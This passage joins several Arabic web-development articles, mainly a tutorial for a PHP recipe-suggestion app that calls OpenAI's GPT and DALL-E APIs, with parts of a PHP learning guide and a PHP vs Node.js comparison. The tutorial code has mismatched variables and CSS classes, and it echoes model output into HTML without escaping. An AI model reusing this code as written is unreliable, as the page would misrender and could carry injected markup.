يمكنك تعلم لغة PHP من خلال الدراسة الجامعية والالتحاق بإحدى الكليات التقنية المتخصصة وهو طريق طويل ويستغرق وقتًا، أو من خلال التعلم الذاتي لاختصار الوقت والجهد، فلحسن الحظ تعلم PHP بشكل ذاتي أمر يسير وسهل نظرًا لشهرتها وتوفر كم هائل من مصادر التعلم الجيدة لهذه اللغة من كتب ودروس ومقالات ومقاطع فيديو ومعسكرات تدريبية ودورات تدريبية عبر الإنترنت يمكنها أن تساعدك في بدء التعلم والارتقاء بمستواك البرمجي.

لكن كثرة المصادر وتنوعها على أهميته إلا أنه قد يصيبك بالتشتت لذا إذا كنت تبحث عن مصدر واحد يوفر لك كل ما تحتاجه لتعلم لغة PHP ودخول سوق العمل فيمكنك الاطلاع على دورة تطوير تطبيقات الويب باستخدام لغة PHP من أكاديمية حسوب التي توفر لك محتوى فيديو غني يبدأ معك من أساسيات PHP وينتهي بك بتطوير مواقع احترافية بأشهر أطر عملها لارافيل Laravel وأشهر نظام إدارة المحتوى ووردبريس WordPress، تتوزع الدورة على أكثر من 10 مسارات شاملة ومتنوعة تعلمك كل ما تحتاجه لتدخل سوق العمل بزمن قياسي، فهي تركز على التطبيق العملي إلى جانب الشرح النظري كما توفر لك فريقًا من المدربين يتابعك طيلة فترة التعلم ويجيب على أي تساؤل أو مشكلة تعترضك، أضف إلى ذلك ستحصل في نهاية الدورة على شهادة معتمدة من أكاديمية حسوب تضاف إلى سيرتك الذاتية وتعزز فرصتك في سوق العمل.

كما يمكنك الاطلاع على توثيق PHP في موسوعة حسوب التي توفر لك شرحًا متكاملًا باللغة العربية يعرفك على ماهية لغة PHP وأهم مميزاتها ويشرح لك كل ما يتعلق باللغة وكتابة شيفراتها البرمجية بدءًا من تعلم المتغيرات وأنواع البيانات والشروط والحلقات وصولًا للمواضيع البرمجية المتقدمة.

هل تريد المزيد، ستجد في أكاديمية حسوب الكثير من الدروس والمقالات والسلاسل التعلمية المتكاملة حول PHP إلى جانب كتب البرمجة الشاملة التي تفيدك مهما كان مستواك البرمجي، وأخيرًا يمكنك متابعة صفحة الأكاديمية على يوتيوب وستجد فيها العديد من مقاطع الفيديو المفيدة التي تعرفك على لغة PHP بأسلوب مبسط وسهل، وتوضح أهم الفروقات بينها وبين لغات البرمجة والتقنيات الأخرى.

الخلاصة

تعرفنا في مقال اليوم على لغة PHP وأبرز مميزاتها واستخداماتها وتعرفنا على أهمية تعلمها لتطوير مواقع ويب ديناميكية، فإذا كنت مهتمًا بمجال تطوير الويب أنصحك أن تبدأ مباشرة بتعلم PHP فهي لغة قوية ومطلوبة في سوق العمل ومن الضروري بعد ذلك أن تتعلم أحد تعلم أطر عمل PHP مثل لارافيل Laravel فهذا يكسبك ميزة تنافسية ويعزز إنتاجيتك في تطوير مواقع احترافية بزمن قياسي.

اقرأ أيضًا

• تعلم PHP
• اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP
• التعامل مع الأخطاء في PHP
• ممارسات الأمن والحماية في تطبيقات PHP
• دليل مطوّري PHP للبدء في بناء تطبيقات Laravel

كثيرًا ما نحتار في اختيار وجبة طعام اليوم لتحضيرها، أو قد تتوفر لدينا بعض المكونات التي نريد تحضير وصفة ما منها ونحتار في اختيار الوصفة المناسبة، فيمكننا البحث عبر الإنترنت عن وصفات معينة واختيار الأنسب منها، لكن ماذا لو استطاع الذكاء الاصطناعي اختيار الوجبة لنا ووصف طريقة تحضيرها بل وحتى تخيل شكل الطبق النهائي، ففي هذا المقال سنستفيد من قدرات الذكاء الاصطناعي في فهم اللغة الطبيعية وقدرته على توليد المحتوى النصي والبصري لبناء تطبيق نُخبره بالمكونات الموجودة لدينا ومن أي مطبخ نُفضل أن تكون الوصفة وسيقترح لنا وصفة مناسبة مع شرح طريقة تحضيرها، حيث سنستخدم لتطويره لغة PHP وبعض نماذج الذكاء الاصطناعي التي توفرها شركة OpenAI.

نماذج الذكاء الاصطناعي واستخداماتها

تتميز نماذج الذكاء الاصطناعي بسرعة معالجة وتحليل المعلومات والطيف الواسع من القدرات الكامنة ضمنها، حيث يمكن للنموذج بعد تدريبه تكوين فهمًا جيدًا عن البيانات وبالتالي يستطيع توليد أو التعامل مع بيانات جديدة لم يراها سابقًا، فمثلًا نموذج GPT (اختصارًا لعبارة المحول التوليدي مسبق التدريب Generative Pre-Trained Transformer) المطور من قبل شركة OpenAI دُرّب على كمية كبيرة من البيانات النصية فكون فهم جيد عن اللغات البشرية بدءًا من صياغتها إلى تراكيب الجمل وصولًا إلى المعنى وراء النص، فأصبح بإمكانه إكمال كتابة النصوص كما لو كان من كتبها إنسان وهي وظيفته الأساسية، ونموذج DALL-E المطور من قبل نفس الشركة تم تدريبه على كمية كبيرة من الصور وتوصيفاتها فتكون ضمنه فهم وربط بين النصوص ومحتوى الصور، وبذلك أصبح قادرًا على توليد صور أقرب ما تكون إلى الطبيعية بناءً على توصيف نصي لها.

في هذا المقال سنحاول حل مشكلة الحيرة في اختيار وجبة الطعام عبر تطوير تطبيق لاقتراح الوصفات باستخدام لغة البرمجة PHP، وسنستفيد من النموذج ChatGPT في اقتراح الوصفة على المستخدم بحسب ما يريد وشرح طريقة تحضيرها، ومن النموذج DALL-E لتوليد صورة تخيلية لطبق من تلك الوصفة، أي سيكون محتوى التطبيق مولّد بالكامل من قبل نماذج الذكاء الاصطناعي.

دورة تطوير تطبيقات الويب باستخدام لغة PHP

احترف تطوير النظم الخلفية وتطبيقات الويب من الألف إلى الياء دون الحاجة لخبرة برمجية مسبقة

اشترك الآن

تحضير ملفات المشروع وتطوير واجهة المستخدم

سنحتاج بدايةً لبيئة PHP مثبتة وتعمل على نظام التشغيل، ويمكن تنزيل النسخة المناسبة من الموقع الرسمي لها ثم تثبيته على الجهاز، وللتأكد من صحة التثبيت يمكن تنفيذ الأمر التالي ضمن سطر الأوامر للتحقق من رقم النسخة المثبتة:

php -v

سيظهر معلومات عن رقم النسخة، ويفضل استخدام النسخة 7.4 أو أعلى، ونبدأ بإنشاء ملف جديد سيحتوي على ملفات المشروع وليكن بالاسم recipe-php، وننشئ ضمنه الملفات التالية:

• index.php ملف الصفحة الرئيسية
• suggestion.php ملف صفحة عرض النتيجة
• style.css ملف تنسيقات CSS

لتكون بنية المجلد والملفات ضمنه كالتالي:

recipe-php/
├─ index.php
├─ suggestion.php
├─ style.css

ملاحظة: تحتاج إلى أن تملك خبرة أساسية بلغة PHP، وإن كنت جديدًا عليها، فارجع إلى مقال تمهيد إلى لغة PHP ومقال الدليل السريع إلى لغة البرمجة PHP للتعرف على أساسيات اللغة.

نبدأ ببناء صفحة الموقع الرئيسية ضمن الملف index.php، وفيها سنطلب من المستخدم إدخال معلومات حول الوصفة، كاختيار المطبخ الذي تنتمي إليه وكتابة بعض المكونات التي قد تكون لدى مستخدم التطبيق ويريد تحضير وجبة طعامه منها، ونبدأ بربط ملف التنسيقات style.css في بداية الملف باستخدام العنصر link، ثم نموذجًا باستخدام العنصر form سيرسل محتوياته إلى ملف صفحة النتيجة suggestion.php بالطريقة POST، ويحوي على حقل اسم المطبخ للوجبة المقترحة نضع فيها خيارات مسبقة مثل (سعودي - سوري - مغربي - يمني - مصري)، ثم حقل نصي اختياري يدخل فيه المستخدم المكونات التي لديه وز لإرسال الطلب، ليصبح ملف الصفحة كالتالي:

<!-- index.php -->
<head>
    <!-- استيراد ملف التنسيقات -->
    <link rel="stylesheet" href="style.css">
    <!-- عنوان الصفحة -->
    <title>تطبيق وصفة</title>
</head>

<div class="logo">??‍?</div>

<form action="suggestion.php" method="post" dir="rtl">
    <!-- اختيار المطبخ -->
    <fieldset>
        <legend>المطبخ</legend>

        <input type="radio" name="cuisine" id="cuisine_SA" value="سعودي" required>
        <label for="cuisine_SA">?? سعودي</label>

        <input type="radio" name="cuisine" id="cuisine_SY" value="سوري" required>
        <label for="cuisine_SY">?? سوري</label>

        <input type="radio" name="cuisine" id="cuisine_MA" value="مغربي" required>
        <label for="cuisine_MA">?? مغربي</label>

        <input type="radio" name="cuisine" id="cuisine_YE" value="يمني" required>
        <label for="cuisine_YE">?? يمني</label>

        <input type="radio" name="cuisine" id="cuisine_EG" value="مصري" required>
        <label for="cuisine_EG">?? مصري</label>
    </fieldset>

    <!-- مكونات الوصفة -->
    <div>
        <label for="ingredients">المكونات</label>
        <input type="text" name="ingredients" id="ingredients" placeholder="هل لديك مكونات محددة؟ مثال: رز بصل ...">
    </div>

    <!-- إرسال المدخلات -->
    <button type="submit">اقترح وصفة ?</button>
</form>

نتوجه الآن لملف عرض النتيجة suggestion.php ونحضر فيه قالب عرض النتيجة، المكون من اسم الوصفة المقترحة وصورة لها ووصف سيحوي على المكونات وطريقة التحضير، وفي النهاية زر للرجوع للصفحة الرئيسية في حال رغب المستخدم اقتراح وصفة جديدة، ولا ننسى ربط ملف التنسيقات style.css في بداية الصفحة كما فعلنا سابقًا، ونحضر بعض المتغيرات الفارغة مبدأيًا سنضع فيها محتويات الصفحة بعد أن تولدها لنا نماذج الذكاء الاصطناعي في الفقرة التالية، ليصبح ملف صفحة النتيجة كالتالي:

<!-- suggestion.php -->

<?php
$name = ''; // اسم الوصفة
$recipe = ''; // المكونات وطريقة التحضير
$image_url = ''; // رابط صورة الوصفة
?>

<head>
    <!-- استيراد ملف التنسيقات -->
    <link rel="stylesheet" href="style.css">
    <!-- عنوان الصفحة -->
    <title>اقتراح الوصفة</title>
</head>

<main class="suggestion">
    <!-- اسم الوصفة -->
    <h2><?= $name ?></h2>

    <!-- صورة للوصفة  -->
    <img src="<?= $image_url ?>" />

    <!-- المكونات وطريقة التحضير  -->
    <div class="recipe" dir="rtl"><?= $recipe ?></div>

    <footer>
        <!-- زر الرجوع للصفحة الرئيسية  -->
        <a href="/">
            <button>وصفة جديدة ??‍?</button>
        </a>
    </footer>
</main>

أما ملف التنسيقات style.css يهتم بالخطوط والألوان وتنسيق العناصر ضمن الصفحات ليجعلها أجمل ويحوي التالي:

/* تنسيق الخطوط */

@import url("https://fonts.googleapis.com/css2?family=Noto+Kufi+Arabic:wght@400;500;700&family=Noto+Naskh+Arabic:wght@400;500;700&display=swap");

@font-face {
  font-family: "Flags";
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/notocoloremoji/v24/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.0.woff2)
    format("woff2");
  unicode-range: U+1f1e6-1f1ff;
}
:root {
  --font-heading: "Noto Kufi Arabic", "Flags", sans-serif;
  --font-body: "Noto Naskh Arabic", "Flags", sans-serif;
}
* {
  font-family: var(--font-body);
}

h1,
h2,
button,
label,
legend {
  font-family: var(--font-heading);
}

/* تنسيقات عامة  */

body {
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  font-size: x-large;
  min-height: 90vh;
  background-color: rgb(237, 240, 244);
  direction: rtl;
}

/* تنسيق عناصر الصفحة الرئيسية */

fieldset {
  border: none;
  padding: 0;
}

.logo {
  border-radius: 999rem;
  background-color: seagreen;
  width: 11rem;
  height: 11rem;
  text-align: center;
  line-height: 2em;
  font-size: 6rem;
}

form {
  display: flex;
  flex-direction: column;
  gap: 1.5rem;
}

label,
legend {
  display: block;
  margin-bottom: 1rem;
}

input[type="radio"] ~ label {
  font-family: var(--font-body);
  display: inline-block;
  margin-bottom: 0;
}

button,
input {
  padding: 1rem 2rem;
  font-size: 1.2rem;
}

input[type="text"] {
  display: block;
  width: 100%;
}

button {
  border: none;
  background-color: seagreen;
  color: white;
  font-size: 1.5rem;
  cursor: pointer;
  transition: all 150ms ease-in-out;
}

button:hover {
  background-color: darkgreen;
}

/* تنسيقات صفحة النتيجة */

.suggestion {
  display: flex;
  flex-direction: column;
  gap: 2rem;
  margin: 7rem 3rem;
  max-width: 50ch;
}

.suggestion h2 {
  text-align: center;
  color: #28774a;
}

.suggestion img {
  object-fit: cover;
  border: 1rem solid white;
  aspect-ratio: 1/1;
}

.suggestion .description {
  background-color: white;
  padding: 3rem;
  border: 1px solid darkgray;
  white-space: pre-line;
}

.suggestion a button {
  width: 100%;
}

يمكننا الآن معاينة الصفحات عبر خادم ويب، ويمكننا خلال مرحلة التطوير الاستفادة من خادم الويب الذي توفره بيئة PHP ويأتي مثبتًا معها، وذلك بتنفيذ الأمر php داخل مجلد المشروع مع الخيار S- ونمرر له عنوان الخادم ورقم المنفذ الذي سيتمع إليه، ويمكننا استخدام العنوان المحلي localhost ورقم المنفذ الافتراضي لخوادم الويب 80 ليصبح الأمر كالتالي:

php -S localhost:80

يمكننا الآن زيارة العنوان http://localhost:80 من المتصفح ليعالج الخادم افتراضيًا ملف الصفحة الرئيسية index.php ويرسله لنا لنرى التالي:

ولمعاينة صفحة النتيجة نختار خيار عشوائي ونضغط "اقترح وصفة"، ويمكننا مؤقتًا إسناد قيم لمتغيرات المتحوى ضمن صفحة suggestion.php لنتمكن من معاينة تنسيقها كالتالي:

<!-- suggestion.php -->
<?php
$name = 'اسم الوصفة';
$description = 'شرح الوصفة...';
$image_url = '#';
?>

لتظهر لنا الصفحة بالمظهر التالي:

بذلك أصبحت واجهة التطبيق جاهزة وتعمل وينقصها المحتوى فقط، وهو ما سنبدأ بتطويره في الفقرات القادمة.

توليد مفتاح الواجهة البرمجية API والوصول إليه

يحتاج تطبيقنا للتواصل مع نماذج الذكاء الاصطناعي المختلفة لتوليد وطلب المحتوى، ويتم ذلك عبر الواجهة البرمجية API التي توفرها الشركة صاحبة تلك النماذج، لذا نحتاج بدايةً لإنشاء حساب على منصتها وإعداد وسيلة الدفع على الحساب لنتمكن من التعامل مع خدماتها المدفوعة، بعدها علينا توليد مفتاح استيثاق خاص لتطبيقنا من صفحة إعداد المفاتيح ليتمكن من إرسال الطلبات، ويمكن تسمية ذلك المفتاح للتعرف عليه لاحقًا، وبعدها سيظهر لنا المفتاح الجديد لمرة واحدة فقط، لذا يجب التأكد من نسخه وحفظه في مكان آمن حيث سنحتاج لتمريره إلى تطبيقنا.

يجب التأكيد على ضرورة الحفاظ على ذلك المفتاح وعدم تسريبه، حيث أن الخدمات التي ستتم باستخدامه ستقتطع كلفتها من حساب المستخدم صاحب المفتاح، ويفضل عدم وضع هذه المفاتيح ضمن الشيفرة البرمجية مباشرة، وأفضل طريقة لتمريرها للتطبيق تكون عبر متغيرات البيئة، فيمكننا مثلًا ضمن بيئة التطوير المحلية تعيين متغير بيئة بالاسم OPENAI_API_KEY وذلك ضمن سطر الأوامر وضمن نفس الجلسة قبل تشغيل خادم الويب، ويمكن ذلك ضمن نظام ويندوز مثلًا بتنفيذ الأمر set مع تبديل قيمة المفتاح:

set OPENAI_API_KEY=المفتاح

وضمن نظام التشغيل لينكس أو ماك بتنفيذ الأمر export كالتالي:

export OPENAI_API_KEY=المفتاح

ملاحظة: لم نضع قيمة هذا المفتاح في ملف env. فحينذاك سنضطر للاعتماد على مكتبة لتحميل هذا الملف، لذا حاولت أن يكون التطبيق بسيطًا جدًا بلا مكتبات ما أمكن.

بعد تنفيذ ذلك الأمر وحصرًا ضمن نفس جلسة سطر الأوامر أي في نفس النافذة يمكن تشغيل خادم الويب، لنتمكن ضمن تطبيقنا في PHP الوصول لذلك المفتاح عبر التابع getenv كالتالي:

getenv('OPENAI_API_KEY'); // قيمة المفتاح من متغير البيئة

حيث يجب إرسال قيمة ذلك المفتاح مع كل طلب HTTP للواجهة البرمجية، وضمن الترويسة Authorization قيمتها الكلمة Bearer ثم مسافة وبعدها قيمة المفتاح، ويمكن بناء نص تلك الترويسة في PHP عبر استخراج قيمة المفتاح من متغير البيئة كالتالي:

"Authorization: Bearer " . getenv('OPENAI_API_KEY');

وبذلك أصبحنا جاهزين لإرسال الطلبات عبر الواجهة البرمجية API للتخاطب مع نماذج الذكاء الاصطناعي لتوليد المحتوى لتطبيقنا وهو ما سنتعرف عليه ضمن الفقرة التالية.

توليد الوصفة وصورة لها

سنبدأ بتعريف بعض التوابع ضمن صفحة النتيجة suggestion.php سنستدعيها لاحقًا لإسناد قيم المحتوى التي ستولده نماذج الذكاء الاصطناعي إلى المتغيرات التي جهزناها سابقًا لعرضها ضمن قالب الصفحة، ونبدأ بتعريف تابع توليد النصوص chatGPT والذي يقبل متغير التعليمة النصية prompt$ كمعامل له سيرسلها ضمن طلب HTTP ليطلب من نموذج بالاسم gpt-3.5-turbo توليد جواب نصي من تلك التعليمة، يمكن التعامل مع هذا النموذج بصيغة دردشة بين المستخدم والنموذج، في حالتنا لن نحتاج سوى لرسالة واحدة من طرف المستخدم سنبنيها بناءًا على مدخلات المستخدم لاقتراح وصفة وشرح عنها.

يرسل الطلب مع ترويسة الاستيثاق التي تحوي مفتاح الواجهة البرمجية API كما تعرفنا سابقًا، وترويسة للتعريف بنوع المحتوى بجسم الطلب Content-type وهو application/json، وبالطريقة POST ويحوي جسم الطلب على اسم النموذج ضمن الحقل model ومصفوفة رسائل الدردشة الحالية بين المستخدم والنموذج ضمن الحقل messages ، حيث تحتوي كل رسالة على اسم صاحب الرسالة ضمن الحقل role ومحتوى الرسالة ضمن content، وفي حالتنا نحتاج لرسالة واحدة فقط من طرف المستخدم أي user ومحتواها هو التعليمة المٌمررة للتابع ضمن المتغير prompt$ ، وبالاستفادة من التابعين file_get_contents و stream_context_create في PHP يمكننا إرسال طلب HTTP دون الحاجة لأي مكتبات إضافية، أما صيغة الجواب فهي JSON بالشكل التالي وما يهمنا منها هو رسالة النموذج:

{
  ...
  "choices": [{
    ...
    "message": {
      "role": "assistant",
      "content": "...", // رسالة النموذج
    },
  }],
}

يمكننا استخراجها بعد تمرير جواب الطلب للتابع json_decode لتحويله لكائن PHP نستخرج منه القيمة التي نريدها، ليصبح التابع كاملًا كالتالي:

/**
 * توليد نص باستخدام نموذج الدردشة
 * @param string $prompt التعليمة
 * @return string النص المُولد 
 */
function chatGPT($prompt)
{
    $result = file_get_contents('https://api.openai.com/v1/chat/completions', false, stream_context_create([
        'http' => [
            'header'  => "Content-type: application/json\r\n" . "Authorization: Bearer " . getenv('OPENAI_API_KEY'),
            'method'  => 'POST',
            'content' => json_encode([
                'model' => "gpt-3.5-turbo", // اسم النموذج
                'messages' => [
                    ['role' => "user", 'content' => $prompt], // رسالة المستخدم
                ]
            ])
        ]
    ]));

    // استخراج النتيجة
    return json_decode($result)->choices[0]->message->content;
}

ولتوليد الصور سنعرف التابع dalle والذي يقبل وصفًا نصيًا لمحتوى الصورة، ويرسلها في طلب HTTP بالطريقة POST لمسار توليد الصور الخاص، حيث نحتاج فقط ضمن جسم الطلب لتمرير توصيف الصورة ضمن الحقل prompt ولتحديد قياس الصورة في حالتنا هو 512x512 وعدد الصور التي نحتاجها في حالتنا يكفي صورة واحدة لذا نحدد قيمة n بواحد، ولا ننسى ترويستي الاستيثاق ونوع جسم الطلب، أما عن شكل جواب الطلب فهو بصيغة JSON يهمنا منه رابط الصورة التي تم توليدها:

{
  ...
  "data": [
    {
      "url": "https://..." // رابط الصورة
    }
  ]
}

نمرره أيضًا للتابع json_decode لتحويلها لكائن PHP ونستخرج منه رابط الصورة التي تم توليدها ليصبح التابع كاملًا كالتالي:

/**
 * توليد صورة باستخدام نموذج توليد الصور
 * @param string $prompt وصف للصورة 
 * @return string رابط للصورة المُولّدة
 */
function dalle($prompt)
{
    $result = file_get_contents('https://api.openai.com/v1/images/generations', false, stream_context_create([
        'http' => [
            'header'  => "Content-type: application/json\r\n" . "Authorization: Bearer " . getenv('OPENAI_API_KEY'),
            'method'  => 'POST',
            'content' => json_encode([
                "n" => 1, // عدد الصور
                "size" => "512x512", // قياس الصورة
                'prompt' => $prompt, // توصيف الصورة
            ])
        ]
    ]));

    // استخراج رابط الصورة
    return json_decode($result)->data[0]->url;
}

لنبدأ باستخدام تلك التوابع لتوليد محتوى الوصفة المقترحة ونعرف التابع recipe والذي سيقبل اسم المطبخ الذي حدده المستخدم كمعامل أول والمكونات التي أدخلها، حيث سنجمع هاتين القيمتين ضمن تعليمة نشرح بها للنموذج ما نريد أن يولده لنا، ليكون قالب هذه التعليمة كالتالي:

اقتباس

اقترح وصفة من وصفات المطبخ <اسم المطبخ> [يمكن تحضيرها بالمكونات <المكونات>] اذكر اسم الوصفة ثم المكونات ثم طريقة التحضير

بحيث نبدل اسم المطبخ والمكونات بالقيم الممررة للتابع، ونمرر تلك التعليمة للتابع chatGPT الذي عرفناه سابقًا، ليعيد لنا اقتراح النموذج، نعالج ذلك الاقتراح باستخراج اسم الوصفة من أول سطر منه بعد تقسيمه باستخدام التابع explode وبقية الأسطر ستحوي على شرح مكونات وطريقة تحضير الوصفة نحددها باستخدام التابع array_slice ونجمعها مجددًا باستخدام التابع implode، ونعيد هاتين القيمتين بعد تمريرهما للتابع trim لإزالة أي محارف ومسافات زائدة، كنتيجة لاستدعاء التابع تحوي الحقل name اسم الوصفة والحقل description شرح الوصفة ليكون التابع كالتالي:

/**
 * اقتراح وصفة
 * @param string $cuisine اسم المطبخ الذي تنتمي إليه الوصفة
 * @param string|null $ingredients مكونات اختيارية تتضمنها الوصفة
 * @return array اسم وشرح الوصفة 
 */
function recipe($cuisine, $ingredients)
{
    // التوصيف
    $rules = implode(' ', [
        // تحديد المطبخ
        "من وصفات المطبخ ال" . $cuisine . " المشهورة",
        // شرط المكونات
        $ingredients ?
"يمكن تحضيرها بالمكونات " . $ingredients : // المكونات
"", // بلا مكونات محددة
    ]);

    // بناء رسالة طلب المستخدم
    $recipe_prompt = "اقترح وصفة $rules
    اذكر اسم الوصفة ثم المكونات ثم طريقة التحضير";

    // توليد الاقتراح
    $suggestion = chatGPT($recipe_prompt);

    // تقسيم الاقتراح لأسطر
    $lines = explode("\n", $suggestion);

    return [
        // استخراج اسم الوصفة
        'name' => trim(str_replace("اسم الوصفة:", "", $lines[0])),

        // استخراج المكونات والتفاصيل
        'description' => trim(implode("\n", array_slice($lines, 1))),
    ];
}

ولتوليد صورة للوصفة المقترحة يجب أن نصف بصريًا ماذا تحوي تلك الصورة، فنذكر المكونات التي تظهر والطبق والمشهد ونمرر ذلك الوصف للتابع dalle الذي عرفناه سابقًا، لكن المشكلة أننا نحتاج لكتابة توصيف خاص بكل وصفة مقترحة من أين سنأتي بذلك التوصيف؟ بما أن التوصيف عبارة عن نص لما لا نطلب ذلك من GPT حيث نمرر له اسم الوصفة مع شرحها، مع الأخذ بالاعتبار أن التوصيف يجب أن يكون باللغة الإنكليزية حيث لحين تاريخ كتابة هذا المقال لا يفهم DALL-E سوى التعليمات باللغة الإنكليزية، فنرسل التعليمة التالية لتوليد وصف للصورة:

اقتباس

write a two sentence description of a dish that contains the following recipe [name] [description]

وترجمتها هي التالي:

اقتباس

اكتب توصيفًا بجملتين لطبق يحوي الوصفة [اسم الوصفة] [شرح الوصفة]

نعرف التابع recipeImage الذي يقبل اسم وشرح الوصفة ويطلب من GPT شرح لصورة تحوي طبق منها، ثم يمرر ذلك الوصف إلى DALL-E لتوليد الصورة والحصول على رابطها ونعيده كنتيجة لتنفيذ التابع كالتالي:

/**
 * توليد صورة من اسم وتفاصيل وصفة
 * @param mixed $name اسم الوصفة
 * @param mixed $description شرح الوصفة
 * @return string رابط صورة للوصفة
 */
function recipeImage($name, $description)
{
    // توليد وصف للصورة
    $image_desc = chatGPT("write a two sentence description of a dish that contains the following recipe \n $name \n $description");

    // توليد الصورة
    return dalle($image_desc);
}

أصبحت جميع التوابع اللازمة جاهزة، لنستخدمها لتوليد المحتوى وإسناد القيم لمتغيرات واجهة المستخدم لعرضها، حيث يمكن استخراج القيم التي أدخلها المستخدم من المتغير العام POST_$ بحسب اسم الحقول في الصفحة الرئيسية، ونمرر تلك القيم بداية للتابع recipe لاقتراح وصفة جديدة، ثم نستخرج اسم وشرح الوصفة ونسندها للمتغيرات name$ و description$، ولتوليد الصورة نمرر تلك المتغيرات للتابع recipeImage ونسند قيمة رابط الصورة المولدة التي سيعيدها للمتغير image_url$ كالتالي:

// اقتراح وصفة من مدخلات المستخدم
$recipe = recipe($_POST['cuisine'], $_POST['ingredients']);

$name = $recipe['name']; // اسم الوصفة
$description = $recipe['description']; // شرح الوصفة
$image_url = recipeImage($name, $description); // رابط صورة الوصفة

أصبح التطبيق جاهزًا لنختبر بعض النتائج، لا ننسى التأكد من تعيين المفتاح ضمن متغيرات البيئة قبل إعادة تشغيل خادم الويب مجددًا، والتالي بعض النتائج:

وصفة فتة حمص بالطحينة

وصفة الكبسة ونلاحظ الأجواء العربية ضمن الصورة

وصفة الطاجين المغربي

وصفة الكشري

وبعض صور الوجبات التي استطاع توليدها:

تطويرات إضافية ممكنة ونقاط الضعف الحالية

يمكن تطوير التطبيق بإضافة بعض المزايا إليه، مثلًا إضافة خيار لتحديد نوع الوصفة (حلويات - وجبات - مشروبات)، أو إضافة عدد السعرات الحرارية التي ستحتويها الوجبة، أو تحديد عدد الأشخاص وبالتالي ستعدل المقادير من قبل النموذج لمراعاة ذلك، أو حفظ الوجبات ضمن مفضلة لكل مستخدم.

يُلاحظ أحيانًا اختراع النموذج لوصفات غير موجودة في الواقع، أو شرح طريقة تحضيرها بطريقة خاطئة، وهذا طبيعي نتيجة ضعف المحتوى العربي الذي دُربت عليه تلك النماذج، قد تُطور لاحقًا وتصبح أقوى من تلك الناحية، لذا لا تعتمد على نتائجه دومًا ونبه المستخدمين لذلك، ويمكن تحسين جودة المحتوى عبرة تغيير صيغ التعليمات المرسلة للنماذج فلا زلنا نكتشف العديد من التقنيات والأساليب للتعامل معها للحصول على نتائج أفضل ما يمكن.

دورة الذكاء الاصطناعي

احترف برمجة الذكاء الاصطناعي AI وتحليل البيانات وتعلم كافة المعلومات التي تحتاجها لبناء نماذج ذكاء اصطناعي متخصصة.

اشترك الآن

الختام

تعرفنا في هذا المقال على كل من نموذج توليد النصوص GPT ونموذج توليد الصور DALL-E واستفدنا من قوة وسهولة استخدامهما في إضافة بعد جديد لتفاعل المستخدم مع التطبيق والحصول على نتائج لا حصر لها تناسب المستخدم، يمكنك توظيف قوة تلك النماذج في العديد من الأفكار فقط أطلق العنان لخيالك.

اقرأ أيضًا

• إعداد شبكة عصبية صنعية وتدريبها للتعرف على الوجوه
• تصنيف الشخصيات بالاعتماد على تغريداتهم العربية

في بداية كل تطبيق أو موقع إلكتروني تظهر إشكالية متكررة دومًا بغض النظر عن المشروع وهي نوع التكنولوجيا المناسبة لبناء الموقع (سواء لغة البرمجة أو إطار العمل) لأن الاختيار المناسب سيلعبُ دورًا مهمًا في نجاح المشروع فإذا اتُخذ قرار خاطئ فيمكن أن يفشل كل شيء في بداية المشروع أو في مراحل متقدمة منه، ولذلك يكون اختيار التكنولوجيا مهمة شاقة للشركات الصغيرة والناشئة التي تعمل عادةً بخبرات وموارد مالية محدودة، وكلما كانت الشركة أصغر كان تأثير القرار السيئ أكثر مأساوية لموارد الشركة.

يتضمن أي موقع إلكتروني جانبين أساسيين وهما جانب العميل Front-end وهو الجانب المرئي من الموقع ويتضمن شيفرة برمجية من اللغة الهيكلية HTML و CSS لتنسيق الصفحات والعرض ولغة جافاسكربت، وجانب الخادم Back-end وهو غير مرئي للمستخدمين ويتضمن لغة برمجية لبرمجة منطلق الموقع وقاعدة بيانات لاستيراد البيانات وخادم وهو حاسوب لتشغيل الموقع أو التطبيق. تشغّل مواقع الويب عبر الكثير من لغات البرمجة ومن بينها Node.js و PHP وهما من أكثر التقنيات المستخدمة من جانب الخادم، ويمكن لكليهما تشغيل تطبيقات الويب بغض النظر عن تعقيد المشروع، وفي الوقت نفسه فإن الاختلافات بينها كبيرة لأن كل واحدة منها مبنية على مفاهيم وبنيات مختلفة. لنستكشف معًا من الأقوى في هذه المعركة المحتدمة بين لغة PHP مقابل Node.js.

اقتباس

ملاحظة: نسعى لتجنب التحيز ولكن بالتأكيد هناك بعض المشاريع التي تناسب لغة معينة أكثر من الأخرى وهذا أمر طبيعي.

سنفترض في هذا المقال بأن لديك معرفة أساسية بتقنيات تطوير الويب وكيفية عمل المواقع.

نبذة موجزة عن لغة PHP و Node.js

قبل الغوص في التفاصيل وذكر الميزات والعيوب والمقارنة بينها لا بدّ لنا من التوقف قليلًا والتأمل في نقطة مهمة عند المقارنة بين PHP و Node.js إذ أنه لا يخفى على الجميع بأن PHP هي لغة برمجة ولكن ما هي Node.js هل هي لغة؟ أم مكتبة؟ أم إطار عمل؟ أم ماذا؟ في الحقيقة جميع تخميناتنا خاطئة لأن Node.js ما هي إلا بيئة تشغيل تسمح بتشغيل الشيفرة البرمجية للغة جافاسكربت، ومع ذلك بعض المبتدئين يسمونها لغة Node.js، وعمومًا يمكننا النظر إلى هذه المقارنة على أنها مقارنة بين مزايا لغة جافاسكربت ولغة PHP ولكن بطريقة غير مباشرة.

ما هي Node.js

تعتمد بيئة تشغيل جافاسكربت Node.js بصورة أساسية على محرك Chrome V8، وهو محرك جافاسكربت و WebAssembly عالي الأداء ومفتوح المصدر طورته شركة غوغل (اسمها حاليًا ألفابت)، والشيفرة البرمجية لهذا المحرك مكتوبٌ بلغة C++‎، ويُستخدم لتشغيل لغة جافاسكربت على متصفح الإنترنت كروم Chrome. توفر بيئة Node.js تطبيقات ذات أداء واستقرار عاليين. كما أنها تتيح إمكانية إنشاء خوادم قابلة للتطوير دون استخدام الخيوط Thread، باستخدام نموذج مبسط من البرمجة القائمة على الأحداث Event-driven Programming، والتي تستخدم عمليات رد النداء callback للإشارة إلى اكتمال المهمة، كما تبسط بيئة Node.js عملية التطوير لآلاف المبرمجين إذ jمكّنهم من إنشاء موقع أو تطبيق ويب من خلال لغة جافاسكربت سواء من جانب الخادم أو العميل.

